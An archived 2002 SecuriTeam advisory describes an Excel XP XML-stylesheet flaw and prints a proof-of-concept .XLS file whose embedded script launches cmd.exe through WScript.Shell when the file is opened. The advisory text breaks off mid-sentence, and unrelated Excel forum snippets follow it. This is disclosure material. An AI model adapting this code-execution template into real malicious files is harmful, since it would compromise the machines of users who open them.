[NT] Excel XP XML Stylesheet Security Problem

From: support@securiteam.com
Date: 05/25/02

From: support@securiteam.com
To: list@securiteam.com
Date: Sat, 25 May 2002 22:08:26 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Excel XP XML Stylesheet Security Problem


Excel XP provides an interface to such new technologies as XML and XSLT.
Unfortunately the Excel implementation flawed allowing an attacker to
cause a user opening an .XLS file to cause him to execute arbitrary code.


Consider this XLS file
 <?xml version="1.0"?>
 <?xml-stylesheet type="text/xsl" href="#?m$ux" ?>
 <xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">
 <![CDATA[ x=new ActiveXObject("WScript.Shell");
x.Run("%systemroot%\\SYSTEM32\\CMD.EXE /C DIR C:\\ /a /p /s"); ]]>
 written by georgi guninski

It contains both XML and a stylesheet in one file.

Excel does not give any warning to the user - just asks whether to use the
style sheet or not. The default option is not to display it with the


The information has been provided by <mailto:guninski@guninski.com>
Georgi Guninski.


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com


The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages

  • Excel Mobile forces duplicate file creation in another location.
    ... If you port an XLS file from your desktop to a WM5 folder that is NOT ... After loading a newly-ported XLS file into Excel for the first time, ... HAS saved your edited file back to its CORRECT location. ...
  • Re: Visualization problem .xls file with office 2007
    ... is running and taking 2 paths depending on what version you're using: ... 'code for pre-2007 versions of Excel here ... connectors are in place and go properly where it should be the blocks. ... If I move correctly the blocks and save the .xls file and reopen it, ...
  • Re: Looping Open and Save as CSV
    ... Excel 2002 on XP Pro SP 3 ... When I used the macro recorder, it copied the entire path so ... directory that the XLS file cam from instead of the one where I ... Try prefacing the filename with ActiveWorkbook.Path & "\" ...
  • Re: Visualization problem .xls file with office 2007
    ... I think he meant to split in that way the code for excel 2007 and excel ... Perhaps he meant to fork the code before it forks you?? ... connectors are in place and go properly where it should be the blocks. ... If I move correctly the blocks and save the .xls file and reopen it, ...
  • Pivot table in HTTP-served Excel worksheet
    ... But once the file is loaded in Excel on my workstation, ... successfully create pivot tables (nor can I refresh pivot tables that are ... Cannot open PivotTable source file '[download.do? ... URL that is used to download the XLS file. ...